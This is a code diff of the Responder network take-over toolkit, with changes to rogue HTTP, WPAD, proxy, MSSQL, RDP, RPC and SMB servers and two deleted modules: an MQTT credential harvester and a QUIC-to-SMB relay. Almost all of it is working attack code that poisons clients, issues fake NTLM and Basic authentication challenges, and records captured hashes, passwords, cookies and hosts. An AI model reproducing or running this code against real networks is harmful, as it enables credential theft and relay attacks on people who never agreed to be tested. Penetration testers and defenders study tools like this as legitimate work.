Pass = data[5:].strip().decode("latin-1") Pass = data[5:].strip().decode("latin-1")
Packet = FTPPacket(Code="530",Message="User not logged in.") Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(NetworkSendBufferPython2or3(Packet)) self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024)
SaveToDb({ SaveToDb({
'module': 'FTP', 'module': 'FTP',
@ -55,5 +57,4 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception: except Exception:
self.request.close()
pass pass

View file

@ -86,6 +86,16 @@ def GrabCookie(data, host):
return Cookie return Cookie
return False return False
def GrabHost(data, host):
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose:
print(text("[HTTP] Host : %s " % color(Host, 3)))
return Host
return False
def GrabReferer(data, host): def GrabReferer(data, host):
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
@ -96,9 +106,26 @@ def GrabReferer(data, host):
return Referer return Referer
return False return False
def SpotFirefox(data):
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
if UserAgent:
print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)))
IsFirefox = re.search('Firefox', UserAgent[0])
if IsFirefox:
print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1))
print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1))
return True
else:
return False
def WpadCustom(data, client): def WpadCustom(data, client):
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data) Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
if Wpad: if Wpad and SpotFirefox(data):
Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}")
Buffer.calculate()
return str(Buffer)
if Wpad and SpotFirefox(data) == False:
Buffer = WPADScript(Payload=settings.Config.WPAD_Script) Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
Buffer.calculate() Buffer.calculate()
return str(Buffer) return str(Buffer)
@ -150,7 +177,6 @@ def GrabURL(data, host):
# Handle HTTP packet sequence. # Handle HTTP packet sequence.
def PacketSequence(data, client, Challenge): def PacketSequence(data, client, Challenge):
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data) NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data)
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data) Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
# Serve the .exe if needed # Serve the .exe if needed
@ -170,14 +196,15 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01': if Packet_NTLM == b'\x01':
GrabURL(data, client) GrabURL(data, client)
#GrabReferer(data, client) GrabReferer(data, client)
GrabHost(data, client)
GrabCookie(data, client) GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate() Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
Buffer_Ans.calculate() #Buffer_Ans.calculate(Buffer)
return Buffer_Ans return Buffer_Ans
if Packet_NTLM == b'\x03': if Packet_NTLM == b'\x03':
@ -189,37 +216,7 @@ def PacketSequence(data, client, Challenge):
ParseHTTPHash(NTLM_Auth, Challenge, client, module) ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:",""))) print(text("[HTTP] WPAD (auth) file sent to %s" % client))
return WPAD_Custom
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return Buffer
elif NTLM_Auth2:
Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9]
if Packet_NTLM == b'\x01':
GrabURL(data, client)
#GrabReferer(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate()
Buffer_Ans = IIS_NTLM_Challenge_Ans(WWWAuth = "WWW-Authenticate: Negotiate ", Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
Buffer_Ans.calculate()
return Buffer_Ans
if Packet_NTLM == b'\x03':
NTLM_Auth = b64decode(''.join(NTLM_Auth2))
if IsWebDAV(data):
module = "WebDAV"
else:
module = "HTTP"
ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
return WPAD_Custom return WPAD_Custom
else: else:
@ -231,20 +228,21 @@ def PacketSequence(data, client, Challenge):
ClearText_Auth = b64decode(''.join(Basic_Auth)) ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client) GrabURL(data, client)
#GrabReferer(data, client) GrabReferer(data, client)
GrabHost(data, client)
GrabCookie(data, client) GrabCookie(data, client)
SaveToDb({ SaveToDb({
'module': 'HTTP', 'module': 'HTTP',
'type': 'Basic', 'type': 'Basic',
'client': client, 'client': client,
'user': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[0], 'user': ClearText_Auth.decode('latin-1').split(':')[0],
'cleartext': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[1], 'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
}) })
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:",""))) print(text("[HTTP] WPAD (auth) file sent to %s" % client))
return WPAD_Custom return WPAD_Custom
else: else:
@ -253,18 +251,14 @@ def PacketSequence(data, client, Challenge):
return Buffer return Buffer
else: else:
if settings.Config.Basic: if settings.Config.Basic:
r = IIS_Basic_401_Ans() Response = IIS_Basic_401_Ans()
r.calculate()
Response = r
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) print(text("[HTTP] Sending BASIC authentication request to %s" % client))
else: else:
r = IIS_Auth_401_Ans() Response = IIS_Auth_401_Ans()
r.calculate()
Response = r
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) print(text("[HTTP] Sending NTLM authentication request to %s" % client))
return Response return Response
@ -308,7 +302,7 @@ class HTTP(BaseRequestHandler):
self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.send(NetworkSendBufferPython2or3(Buffer))
self.request.close() self.request.close()
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0].replace("::ffff:",""))) print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]))
else: else:
Buffer = PacketSequence(data,self.client_address[0], Challenge) Buffer = PacketSequence(data,self.client_address[0], Challenge)
@ -317,4 +311,3 @@ class HTTP(BaseRequestHandler):
except: except:
pass pass

13
servers/HTTP_Proxy.py Executable file → Normal file
View file

@ -207,9 +207,9 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
rbufsize = 0 rbufsize = 0
def handle(self): def handle(self):
(ip, port) = self.client_address[0], self.client_address[1] (ip, port) = self.client_address
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[PROXY] Received connection from %s" % self.client_address[0].replace("::ffff:",""))) print(text("[PROXY] Received connection from %s" % self.client_address[0]))
self.__base_handle() self.__base_handle()
def _connect_to(self, netloc, soc): def _connect_to(self, netloc, soc):
@ -246,15 +246,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
try: try:
if self._connect_to(self.path, soc): if self._connect_to(self.path, soc):
self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n")) self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string())) self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
self.wfile.write(NetworkSendBufferPython2or3("\r\n")) self.wfile.write("\r\n")
try: try:
self._read_write(soc, 300) self._read_write(soc, 300)
except: except:
pass pass
except: except:
raise
pass pass
finally: finally:
@ -286,7 +285,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[PROXY] Client : %s" % color(self.client_address[0].replace("::ffff:",""), 3))) print(text("[PROXY] Client : %s" % color(self.client_address[0], 3)))
print(text("[PROXY] Requested URL : %s" % color(self.path, 3))) print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
print(text("[PROXY] Cookie : %s" % Cookie)) print(text("[PROXY] Cookie : %s" % Cookie))

View file

@ -173,7 +173,7 @@ def ParseCLDAPPacket(data, client, Challenge):
elif Operation == b'\x63': elif Operation == b'\x63':
Buffer = ParseSearch(data) Buffer = ParseSearch(data)
print(text('[CLDAP] Sent CLDAP pong to %s.'% client.replace("::ffff:",""))) print(text('[CLDAP] Sent CLDAP pong to %s.'% client))
return Buffer return Buffer
elif settings.Config.Verbose: elif settings.Config.Verbose:

View file

@ -1,205 +0,0 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import settings, NetworkSendBufferPython2or3, SaveToDb
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket
#Read N byte integer
def readInt(data, offset, numberOfBytes):
value = int.from_bytes(data[offset:offset+numberOfBytes], 'big')
offset += numberOfBytes
return (value, offset)
#Read binary data
def readBinaryData(data, offset):
#Read number of bytes
length, offset = readInt(data, offset, 2)
#Read bytes
value = data[offset:offset+length]
offset += length
return (value, offset)
#Same as readBinaryData() but without reading data
def skipBinaryDataString(data, offset):
length, offset = readInt(data, offset, 2)
offset += length
return offset
#Read UTF-8 encoded string
def readString(data, offset):
value, offset = readBinaryData(data, offset)
return (value.decode('utf-8'), offset)
#Read variable byte integer
#(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011)
def readVariableByteInteger(data, offset):
multiplier = 1
value = 0
while True:
encodedByte = data[offset]
offset += 1
value = (encodedByte & 127) * multiplier
if (multiplier > 128 * 128 * 128):
return None
multiplier *= 128
if(encodedByte & 128 == 0):
break
return (value, offset)
class MqttPacket:
USERNAME_FLAG = 0x80
PASSWORD_FLAG = 0x40
WILL_FLAG = 0x04
def __init__(self, data):
self.__isValid = True
controllPacketType, offset = readInt(data, 0, 1)
#check if CONNECT packet type
if controllPacketType != 0x10:
self.__isValid = False
return
#Remaining length
remainingLength, offset = readVariableByteInteger(data, offset)
#Protocol name
protocolName, offset = readString(data, offset)
#Check protocol name
if protocolName != "MQTT" and protocolName != "MQIsdp":
self.__isValid = False
return
#Check protocol version
self.__protocolVersion, offset = readInt(data, offset, 1)
#Read connect flag register
connectFlags, offset = readInt(data, offset, 1)
#Read keep alive (skip)
offset += 2
#MQTTv5 implements properties
if self.__protocolVersion > 4:
#Skip all properties
propertiesLength, offset = readVariableByteInteger(data, offset)
offset+=propertiesLength
#Get Client ID
self.clientId, offset = readString(data, offset)
if (self.clientId == ""):
self.clientId = "<Empty>"
#Skip Will
if (connectFlags & self.WILL_FLAG) > 0:
#MQTT v5 implements properties
if self.__protocolVersion > 4:
willProperties, offset = readVariableByteInteger(data, offset)
#Skip will properties
offset = skipBinaryDataString(data, offset)
offset = skipBinaryDataString(data, offset)
#Get Username
if (connectFlags & self.USERNAME_FLAG) > 0:
self.username, offset = readString(data, offset)
else:
self.username = "<Empty>"
#Get Password
if (connectFlags & self.PASSWORD_FLAG) > 0:
self.password, offset = readString(data, offset)
else:
self.password = "<Empty>"
def isValid(self):
return self.__isValid
def getProtocolVersion(self):
return self.__protocolVersion
def data(self, client):
return {
'module': 'MQTT',
'type': 'Cleartext',
'client': client,
'hostname': self.clientId,
'user': self.username,
'cleartext': self.password,
'fullhash': self.username + ':' + self.password
}
class MQTT(BaseRequestHandler):
def handle(self):
CONTROL_PACKET_TYPE_CONNECT = 0x10
try:
data = self.request.recv(2048)
#Read control packet type
controlPacketType, offset = readInt(data, 0, 1)
#Skip non CONNECT packets
if controlPacketType != CONTROL_PACKET_TYPE_CONNECT:
return
#Parse connect packet
packet = MqttPacket(data)
#Skip if it contains invalid data
if not packet.isValid():
#Return response
return
#Send response packet
if packet.getProtocolVersion() < 5:
responsePacket = MQTTv3v4ResponsePacket()
else:
responsePacket = MQTTv5ResponsePacket()
self.request.send(NetworkSendBufferPython2or3(responsePacket))
#Save to DB
SaveToDb(packet.data(self.client_address[0]))
except Exception:
self.request.close()
pass

View file

@ -134,7 +134,7 @@ class MSSQL(BaseRequestHandler):
if not data: if not data:
break break
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[MSSQL] Received connection from %s" % self.client_address[0].replace("::ffff:",""))) print(text("[MSSQL] Received connection from %s" % self.client_address[0]))
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer()) Buffer = str(MSSQLPreLoginAnswer())
self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.send(NetworkSendBufferPython2or3(Buffer))
@ -168,9 +168,9 @@ class MSSQLBrowser(BaseRequestHandler):
if data: if data:
if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX
self.send_response(soc, "MSSQLSERVER") self.send_response(soc, "MSSQLSERVER")
elif data[0:1] == b'\x04': # CLNT_UCAST_INST elif data[0] == b'\x04': # CLNT_UCAST_INST
self.send_response(soc, data[1:].rstrip(b"\x00")) self.send_response(soc, data[1:].rstrip("\x00"))
elif data[0:1] == b'\x0F': # CLNT_UCAST_DAC elif data[0] == b'\x0F': # CLNT_UCAST_DAC
self.send_dac_response(soc) self.send_dac_response(soc)
def send_response(self, soc, inst): def send_response(self, soc, inst):

View file

@ -57,7 +57,7 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01': if Packet_NTLM == b'\x01':
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client))
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate() Buffer.calculate()
Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
@ -69,10 +69,9 @@ def PacketSequence(data, client, Challenge):
GrabUserAgent(data) GrabUserAgent(data)
GrabCookie(data) GrabCookie(data)
GrabHost(data) GrabHost(data)
#Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes... Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
#Buffer.calculate() Buffer.calculate()
#Return a TCP RST, so the client uses direct connection and avoids disruption. return Buffer
return RST
else: else:
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB... return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
@ -94,7 +93,7 @@ def PacketSequence(data, client, Challenge):
if settings.Config.Basic: if settings.Config.Basic:
Response = WPAD_Basic_407_Ans() Response = WPAD_Basic_407_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client))
else: else:
Response = WPAD_Auth_407_Ans() Response = WPAD_Auth_407_Ans()

View file

@ -1,168 +0,0 @@
import asyncio
import logging
import ssl
import argparse
import netifaces
from utils import *
from aioquic.asyncio import serve
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated
BUFFER_SIZE = 11000
def get_interface_ip(interface_name):
"""Get the IP address of a network interface."""
try:
# Get address info for the specified interface
addresses = netifaces.ifaddresses(interface_name)
# Get IPv4 address (AF_INET = IPv4)
if netifaces.AF_INET in addresses:
return addresses[netifaces.AF_INET][0]['addr']
# If no IPv4 address, try IPv6 (AF_INET6 = IPv6)
if netifaces.AF_INET6 in addresses:
return addresses[netifaces.AF_INET6][0]['addr']
logging.error(f"[!] No IP address found for interface {interface_name}")
return None
except ValueError:
logging.error(f"[!] Interface {interface_name} not found")
return None
class QUIC(QuicConnectionProtocol):
def __init__(self, *args, target_address=None, **kwargs):
super().__init__(*args, **kwargs)
self.tcp_connections = {} # stream_id -> (reader, writer)
self.target_address = target_address or "localhost"
def quic_event_received(self, event):
if isinstance(event, StreamDataReceived):
asyncio.create_task(self.handle_stream_data(event.stream_id, event.data))
elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated):
# Only try to close connections if we have any
if self.tcp_connections:
asyncio.create_task(self.close_all_tcp_connections())
async def handle_stream_data(self, stream_id, data):
if stream_id not in self.tcp_connections:
# Create a new TCP connection to the target interface:445
try:
reader, writer = await asyncio.open_connection(self.target_address, 445)
self.tcp_connections[stream_id] = (reader, writer)
# Start task to read from TCP and write to QUIC
asyncio.create_task(self.tcp_to_quic(stream_id, reader))
logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...")
print(text("[QUIC] Forwarding QUIC connection to SMB server"))
except Exception as e:
logging.error(f"[!] Error connecting to {self.target_address}:445: {e}")
return
# Forward data from QUIC to TCP
try:
_, writer = self.tcp_connections[stream_id]
writer.write(data)
await writer.drain()
except Exception as e:
logging.error(f"[!] Error writing to TCP: {e}")
await self.close_tcp_connection(stream_id)
async def tcp_to_quic(self, stream_id, reader):
try:
while True:
data = await reader.read(BUFFER_SIZE)
if not data:
break
self._quic.send_stream_data(stream_id, data)
self.transmit()
except Exception as e:
logging.error(f"[!] Error reading from TCP: {e}")
finally:
await self.close_tcp_connection(stream_id)
async def close_tcp_connection(self, stream_id):
if stream_id in self.tcp_connections:
_, writer = self.tcp_connections[stream_id]
writer.close()
await writer.wait_closed()
del self.tcp_connections[stream_id]
async def close_all_tcp_connections(self):
try:
# Make a copy of the keys to avoid modification during iteration
stream_ids = list(self.tcp_connections.keys())
for stream_id in stream_ids:
try:
await self.close_tcp_connection(stream_id)
except KeyError:
# Silently ignore if the stream ID no longer exists
pass
except Exception as e:
# Catch any other exceptions that might occur
logging.debug(f"[!] Error closing TCP connections: {e}")
async def start_quic_server(listen_interface, cert_path, key_path):
# Configure QUIC
configuration = QuicConfiguration(
alpn_protocols=["smb"],
is_client=False,
)
# Load certificate and private key
try:
configuration.load_cert_chain(cert_path, key_path)
except Exception as e:
logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}")
return
# Resolve interfaces to IP addresses
listen_ip = listen_interface
if not is_ip_address(listen_interface):
listen_ip = get_interface_ip(listen_interface)
if not listen_ip:
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
return
target_ip = listen_interface
if not is_ip_address(listen_interface):
target_ip = get_interface_ip(listen_interface)
if not target_ip:
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
return
# Start QUIC server with correct protocol factory
server = await serve(
host=listen_ip,
port=443,
configuration=configuration,
create_protocol=lambda *args, **kwargs: QUIC(
*args,
target_address=target_ip,
**kwargs
)
)
logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)")
logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)")
# Keep the server running forever
await asyncio.Future()
def is_ip_address(address):
"""Check if a string is a valid IP address."""
import socket
try:
socket.inet_pton(socket.AF_INET, address)
return True
except socket.error:
try:
socket.inet_pton(socket.AF_INET6, address)
return True
except socket.error:
return False

10
servers/RDP.py Executable file → Normal file
View file

@ -98,11 +98,6 @@ class RDP(BaseRequestHandler):
self.request.settimeout(30) self.request.settimeout(30)
Challenge = RandomChallenge() Challenge = RandomChallenge()
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert, key)
if data[11:12] == b'\x01': if data[11:12] == b'\x01':
x = X224(Data=RDPNEGOAnswer()) x = X224(Data=RDPNEGOAnswer())
x.calculate() x.calculate()
@ -110,7 +105,7 @@ class RDP(BaseRequestHandler):
h.calculate() h.calculate()
buffer1 = str(h) buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1)) self.request.send(NetworkSendBufferPython2or3(buffer1))
SSLsock = context.wrap_socket(self.request, server_side=True) SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock.settimeout(30) SSLsock.settimeout(30)
data = SSLsock.read(8092) data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00': if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
@ -130,7 +125,8 @@ class RDP(BaseRequestHandler):
buffer1 = str(h) buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1)) self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(8092) data = self.request.recv(8092)
SSLsock = context.wrap_socket(self.request, server_side=True)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
data = SSLsock.read(8092) data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00': if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge)) x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))

View file

@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate() RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC))) self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024) data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1))
self.request.close() self.request.close()
#LSARPC #LSARPC
@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate() RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC))) self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024) data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1))
self.request.close() self.request.close()
#WINSPOOL #WINSPOOL
@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate() RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC))) self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024) data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1))
self.request.close() self.request.close()
#NetLogon #NetLogon
@ -180,7 +180,7 @@ class RPCMap(BaseRequestHandler):
#RPC.calculate() #RPC.calculate()
#self.request.send(NetworkSendBufferPython2or3(str(RPC))) #self.request.send(NetworkSendBufferPython2or3(str(RPC)))
#data = self.request.recv(1024) #data = self.request.recv(1024)
#print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1)) #print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
except Exception: except Exception:
self.request.close() self.request.close()

View file

@ -178,7 +178,7 @@ def IsNT4ClearTxt(data, client):
WordCount = data[HeadLen] WordCount = data[HeadLen]
ChainedCmdOffset = data[HeadLen+1] ChainedCmdOffset = data[HeadLen+1]
if ChainedCmdOffset == "\x75" or ChainedCmdOffset == 117: if ChainedCmdOffset == "\x75":
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0] PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
if PassLen > 2: if PassLen > 2:
@ -200,16 +200,17 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
if not data: if not data:
break break
if data[0:1] == b"\x81": #session request 139 if data[0] == "\x81": #session request 139
Buffer = "\x82\x00\x00\x00" Buffer = "\x82\x00\x00\x00"
try: try:
self.request.send(Buffer) self.request.send(Buffer)
data = self.request.recv(1024) data = self.request.recv(1024)
except: except:
raise
pass pass
##Negotiate proto answer SMBv2. ##Negotiate proto answer SMBv2.
if data[8:10] == b"\x72\x00" and re.search(rb"SMB 2.\?\?\?", data): if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data):
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00") head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
t = SMB2NegoAns() t = SMB2NegoAns()
t.calculate() t.calculate()
@ -239,11 +240,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
## Session Setup 3 answer SMBv2. ## Session Setup 3 answer SMBv2.
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe': if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
ParseSMBHash(data, self.client_address[0], Challenge) ParseSMBHash(data, self.client_address[0], Challenge)
if settings.Config.ErrorCode: head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
ntstatus="\x6d\x00\x00\xc0"
else:
ntstatus="\x22\x00\x00\xc0"
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus=ntstatus, SessionID=GrabSessionID(data).decode('latin-1'))
t = SMB2Session2Data() t = SMB2Session2Data()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = StructPython2or3('>i', str(packet1))+str(packet1) buffer1 = StructPython2or3('>i', str(packet1))+str(packet1)
@ -251,7 +248,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
data = self.request.recv(1024) data = self.request.recv(1024)
# Negotiate Protocol Response smbv1 # Negotiate Protocol Response smbv1
if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(rb'SMB 2.\?\?\?', data) == None: if data[8:10] == b'\x72\x00' and data[4:5] == b'\xff' and re.search(b'SMB 2.\?\?\?', data) == None:
